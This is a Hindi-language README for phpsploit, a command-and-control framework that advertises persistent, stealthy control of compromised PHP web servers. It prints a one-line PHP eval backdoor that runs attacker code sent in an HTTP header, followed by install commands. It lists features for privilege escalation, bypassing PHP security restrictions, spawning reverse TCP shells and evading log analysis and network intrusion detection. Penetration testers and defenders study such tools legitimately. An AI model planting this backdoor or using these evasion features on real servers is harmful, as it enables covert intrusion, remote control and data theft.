phpsploit

पूर्ण-सुविधा संपन्न C2 फ्रेमवर्क जो पॉलीमॉर्फिक PHP वन-लाइनर के माध्यम से
वेबसर्वर पर चुपचाप बना रहता है

codeclimate maintainability

---

अवलोकन

अस्पष्ट संचार HTTP हेडर का उपयोग करके प्राप्त किया जाता है, जो मानक क्लाइंट अनुरोधों और वेब सर्वर के संबंधित प्रतिक्रियाओं के तहत, एक छोटे पॉलीमॉर्फिक बैकडोर के माध्यम से सुरंगबद्ध होता है:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

---

त्वरित आरंभ

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

---

विशेषताएँ

• कुशल: विशेषाधिकार वृद्धि कार्यों को स्वचालित करने के लिए 20 से अधिक प्लगइन

  • PHP सुरक्षा प्रतिबंधों को दरकिनार करते हुए कमांड चलाएँ और फ़ाइल सिस्टम ब्राउज़ करें
  • क्लाइंट और लक्ष्य के बीच फ़ाइलें अपलोड/डाउनलोड करें
  • स्थानीय टेक्स्ट एडिटर के माध्यम से दूरस्थ फ़ाइलों को संपादित करें
  • लक्ष्य सिस्टम पर SQL कंसोल चलाएँ
  • रिवर्स TCP शेल उत्पन्न करें

• गुप्त: यह फ्रेमवर्क पैरानॉयड लोगों द्वारा, पैरानॉयड लोगों के लिए बनाया गया है

  • लॉग विश्लेषण और NIDS हस्ताक्षर पहचान द्वारा लगभग अदृश्य
  • सुरक्षित-मोड और सामान्य PHP सुरक्षा प्रतिबंध बाईपास
  • संचार HTTP हेडर में छिपे होते हैं
  • लोड किए गए पेलोड NIDS बाईपास के लिए अस्पष्ट होते हैं
  • http/https/socks4/socks5 प्रॉक्सी समर्थन

• सुविधाजनक: अनेक महत्वपूर्ण सुविधाओं वाला एक मजबूत इंटरफ़ेस

  • किसी भी विकल्प के लिए विस्तृत सहायता (help कमांड)
  • क्लाइंट और सर्वर दोनों पर क्रॉस-प्लेटफॉर्म
  • CLI ऑटो-पूर्णता और बहु-कमांड का समर्थन करता है
  • सत्र सहेजने/लोड करने की सुविधा और स्थायी इतिहास
  • बड़े पेलोड (जैसे अपलोड) के लिए बहु-अनुरोध समर्थन
  • एक शक्तिशाली, उच्च अनुकूलन योग्य सेटिंग्स इंजन प्रदान करता है
  • प्रत्येक सेटिंग, जैसे user-agent, में एक पॉलीमॉर्फिक मोड होता है
  • प्लगइन इंटरैक्शन के लिए अनुकूलन योग्य पर्यावरण चर
  • एक पूर्ण प्लगइन विकास API प्रदान करता है

---

समर्थित प्लेटफ़ॉर्म (हमलावर के रूप में):

• GNU/Linux
• Mac OS X

समर्थित प्लेटफ़ॉर्म (लक्ष्य के रूप में):

• GNU/Linux
• BSD-like
• Mac OS X
• Windows NT

योगदानकर्ता